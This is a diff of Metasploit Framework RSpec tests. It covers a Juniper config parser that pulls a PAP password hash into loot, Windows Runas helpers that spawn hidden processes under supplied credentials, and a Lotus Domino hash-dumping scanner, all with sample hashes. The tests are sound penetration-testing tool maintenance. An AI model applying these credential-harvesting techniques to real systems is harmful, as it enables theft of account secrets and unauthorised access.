"interfaces {\n pp0 {\n unit 0 {\n ppp-options {\n pap {\n local-name \"'pap_username'\";\n local-password \"$9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR\"; ## SECRET-DATA\n }\n }\n }\n }\n }",
"config.txt", "Juniper JunOS Configuration"
)
#expect(aux_juniper).to receive(:store_loot).with(
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.junos.config', 'text/plain', '127.0.0.1',
"interfaces {\n pp0 {\n unit 0 {\n ppp-options {\n pap {\n local-name \"'pap_username'\";\n local-password \"$9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR\"; ## SECRET-DATA\n }\n }\n }\n }\n }",
'config.txt', 'Juniper JunOS Configuration')
# expect(aux_juniper).to receive(:store_loot).with(
# "cisco.ios.config", "text/plain", "127.0.0.1", "password 5 1511021F0725", "config.txt", "Cisco IOS Configuration"
#)
# )
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 1723,
protocol: "tcp",
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'pptp',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
private_data: "$9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: '$9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR',
username: "'pap_username'",
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1',1337,
%q(interfaces {
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(interfaces {
pp0 {
unit 0 {
ppp-options {
@@ -600,11 +765,7 @@ RSpec.describe Msf::Auxiliary::Juniper do
}
}
}
)
)
))
end
end
end
+144 -10
View File
@@ -44,6 +44,51 @@ RSpec.describe Msf::Post::Windows::Runas do
end
context "#create_process_with_logon" do
before :example do
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86)
end
context 'on a 32-bit session' do
it 'calls CreateProcessWithLogonW with a lpProcessInformation buffer of 16 bytes' do
expect(advapi32).to receive(:CreateProcessWithLogonW).with(
'bob',
nil,
'pass',
'LOGON_WITH_PROFILE',
nil,
'cmd.exe',
'CREATE_UNICODE_ENVIRONMENT',
nil,
nil,
subject.startup_info,
16
)
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
end
end
context 'on a 64-bit session' do
before :example do
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64)
end
it 'calls CreateProcessWithLogonW with a lpProcessInformation buffer of 24 bytes' do
expect(advapi32).to receive(:CreateProcessWithLogonW).with(
'bob',
nil,
'pass',
'LOGON_WITH_PROFILE',
nil,
'cmd.exe',
'CREATE_UNICODE_ENVIRONMENT',
nil,
nil,
subject.startup_info,
24
)
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
end
end
it "should return a process_info hash" do
expect(advapi32).to receive(:CreateProcessWithLogonW)
expect(kernel32).not_to receive(:CloseHandle)
@@ -59,6 +104,52 @@ RSpec.describe Msf::Post::Windows::Runas do
end
context "#create_process_as_user" do
before :example do
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86)
end
context 'on a 32-bit session' do
it 'calls CreateProcessAsUserA with a lpProcessInformation buffer of 16 bytes' do
expect(advapi32).to receive(:CreateProcessAsUserA).with(
phToken,
nil,
'cmd.exe',
nil,
nil,
false,
'CREATE_NEW_CONSOLE',
nil,
nil,
subject.startup_info,
16
)
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
end
end
context 'on a 64-bit session' do
before :example do
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64)
end
it 'calls CreateProcessAsUserA with a lpProcessInformation buffer of 24 bytes' do
expect(advapi32).to receive(:CreateProcessAsUserA).with(
phToken,
nil,
'cmd.exe',
nil,
nil,
false,
'CREATE_NEW_CONSOLE',
nil,
nil,
subject.startup_info,
24
)
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
end
end
it "should return a process_info hash" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).to receive(:CreateProcessAsUserA)
@@ -92,22 +183,65 @@ RSpec.describe Msf::Post::Windows::Runas do
end
context "#startup_info" do
it "should be 68 bytes" do
expect(subject.startup_info.size).to eq(68)
context 'on a 32-bit session' do
before :example do
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86)
end
it "should be 68 bytes" do
expect(subject.startup_info.size).to eq(68)
end
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
expect(si[11]).to eq(1)
expect(si[12]).to eq(0)
end
end
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
expect(si[11]).to eq(1)
expect(si[12]).to eq(0)
context 'on a 64-bit session' do
before :example do
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64)
end
it "should be 100 bytes" do
expect(subject.startup_info.size).to eq(100)
end
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
si = subject.startup_info.unpack('QQQQVVVVVVVVvvQQQQ')
expect(si[11]).to eq(1)
expect(si[12]).to eq(0)
end
end
end
context "#parse_process_information" do
it "should return a hash when given valid data" do
pi = subject.parse_process_information(process_info)
expect(pi).to be_kind_of(Hash)
expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
before :example do
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86)
end
context 'on a 32-bit session' do
it "should return a hash when given valid data" do
pi = subject.parse_process_information(process_info)
expect(pi).to be_kind_of(Hash)
expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
end
context 'on a 64-bit session' do
let(:process_info) do
"\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00"
end
before :example do
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64)
end
it "should return a hash when given valid data" do
pi = subject.parse_process_information(process_info)
expect(pi).to be_kind_of(Hash)
expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
end
it "should return an exception when given an empty string" do
+7
View File
@@ -1276,6 +1276,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: bad/path
Session Type: driver selected, no connection
Install Method: Other - Please specify
@@ -1315,6 +1316,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: bad/path
Session Type: Connected to db_name. Connection type: http.
Install Method: Other - Please specify
@@ -1362,6 +1364,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: bad/path
Session Type: Connected to current_db_connection. Connection type: local.
Install Method: Other - Please specify
@@ -1400,6 +1403,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{File.join(File::SEPARATOR, 'usr', 'share', 'metasploit-framework')}
Session Type: driver selected, no connection
Install Method: Other - Please specify
@@ -1438,6 +1442,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{File.join(file_fixtures_path, 'debug', 'installs', 'omnibus')}
Session Type: driver selected, no connection
Install Method: Omnibus Installer
@@ -1477,6 +1482,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{File.join(file_fixtures_path, 'debug', 'installs')}
Session Type: driver selected, no connection
Install Method: Git Clone
@@ -1515,6 +1521,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{File.join(File::SEPARATOR, 'opt', 'metasploit')}
Session Type: driver selected, no connection
Install Method: Other - Please specify
@@ -0,0 +1,65 @@
require 'rspec'
RSpec.describe 'Lotus Domino Hashes' do
include_context 'Msf::Simple::Framework#modules loading'
let(:subject) do
load_and_create_module(
module_type: 'auxiliary',
reference_name: 'scanner/lotus/lotus_domino_hashes'
)
end
let(:view_id) do
Faker::Number.new
end
let(:cookie) do
'mock-cookie'
end
let(:uri) do
'http'
end
let(:workspace) do
FactoryBot.create(:mdm_workspace)
end
let(:service) do
FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace))
end
let(:result) do
instance_double(
Rex::Proto::Http::Response,
body: mock_doc_data,
get_html_document: Nokogiri::XML(mock_doc_data)
)
end
let(:mock_doc_data) do
File.binread(mock_doc)
end
let(:mock_doc) do
File.join(FILE_FIXTURES_PATH, 'modules', 'auxiliary', 'lotus_domino_hash_response.xml')
end
before do
allow(subject).to receive(:send_request_raw).and_return(result)
allow(subject).to receive(:report_service).and_return(service)
allow(subject).to receive(:report_auth_info)
end
describe '#dump_hashes' do
context 'when the service response contains credentials' do
it 'reports the extracted user and password' do
subject.dump_hashes(view_id, cookie, uri)
expect(subject).to have_received(:report_auth_info).with(hash_including({ user: 'Bdn Alln', pass: '(Da2Bd765Be64aF01b5652ce32eaA283d)', proof: a_string_matching(/USER_MAIL=NULL/) }))
end
end
context 'when the service response does not contain credentials' do
let(:mock_doc) do
File.join(FILE_FIXTURES_PATH, 'modules', 'auxiliary', 'lotus_domino_hash_response_no_cred.xml')
end
it 'when provided valid XML missing a credential' do
subject.dump_hashes(view_id, cookie, uri)
expect(subject).not_to have_received(:report_auth_info)
end
end
end
end